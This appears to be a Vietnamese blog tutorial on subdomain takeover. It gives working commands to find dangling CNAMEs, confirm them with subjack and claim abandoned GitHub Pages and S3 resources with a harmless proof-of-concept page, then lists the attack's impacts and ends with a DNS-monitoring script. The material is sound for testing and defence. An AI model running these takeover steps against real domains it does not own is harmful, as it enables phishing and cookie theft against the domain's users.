Subdomain Takeover: Tìm kiếm, xác nhận và khai thác thực tế

Subdomain takeover xảy ra khi một subdomain trỏ (qua CNAME) đến service bên ngoài đã bị xóa hoặc chưa được claim. Attacker có thể claim service đó và kiểm soát subdomain của victim.

Điều kiện để takeover

  1. CNAME của subdomain trỏ đến dịch vụ bên ngoài (GitHub Pages, Heroku, S3…)
  2. Dịch vụ đó không còn được victim sử dụng (account deleted, resource removed)
  3. Dịch vụ cho phép đăng ký tên miền/project trùng

Tìm kiếm candidates

#!/bin/bash
# Enumerate subdomains
subfinder -d target.com -silent | \
  dnsx -silent -cname -resp | \
  grep "CNAME" > cnames.txt

# Output:
# blog.target.com [CNAME: target.github.io]
# cdn.target.com [CNAME: target.s3.amazonaws.com]
# dev.target.com [CNAME: target-dev.herokuapp.com]

Xác nhận takeover với subjack

go install github.com/haccer/subjack@latest

# Chạy subjack
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json -v

# Kết quả:
# [Not Vulnerable] blog.target.com
# [Vulnerable] dev.target.com (Heroku)

Khai thác GitHub Pages Takeover

# Giả sử: dev.target.com CNAME → target-dev.github.io
# Và repository target-dev không tồn tại

# 1. Tạo GitHub account/organization với tên đúng
# 2. Tạo repo: target-dev
# 3. Enable GitHub Pages
# 4. Tạo index.html với PoC

echo "Subdomain Takeover PoC — dev.target.com" > index.html
git add . && git commit -m "poc" && git push

# 5. Verify
curl https://dev.target.com
# → "Subdomain Takeover PoC — dev.target.com"

Khai thác S3 Bucket Takeover

# Giả sử: cdn.target.com CNAME → target-cdn.s3.amazonaws.com
# Bucket không tồn tại

# Tạo bucket với tên đúng
aws s3 mb s3://target-cdn --region us-east-1

# Enable static website hosting
aws s3 website s3://target-cdn \
  --index-document index.html \
  --error-document error.html

# Upload PoC
echo "S3 Takeover PoC" | aws s3 cp - s3://target-cdn/index.html \
  --acl public-read

# Verify
curl http://cdn.target.com/index.html

Impact thực tế

  • Phishing: Tạo trang login giả trên subdomain của victim
  • Cookie theft: Set cookie cho domain cha nếu không có HttpOnly
  • Bypass CSP: Subdomain được whitelist trong CSP policy
  • XSS via postMessage: Subdomain trusted bởi main domain

Phòng chống

# 1. Xóa CNAME record khi không còn dùng service
# 2. Monitor DNS records thường xuyên

# Tự động monitor với Python
import boto3, dns.resolver

def check_cname_alive(subdomain):
    try:
        answers = dns.resolver.resolve(subdomain, 'CNAME')
        cname = str(answers[0].target)
        # Check if CNAME target resolves
        dns.resolver.resolve(cname, 'A')
        return True
    except dns.resolver.NXDOMAIN:
        print(f"[!] DEAD CNAME: {subdomain} → {cname}")
        return False

Leave a Comment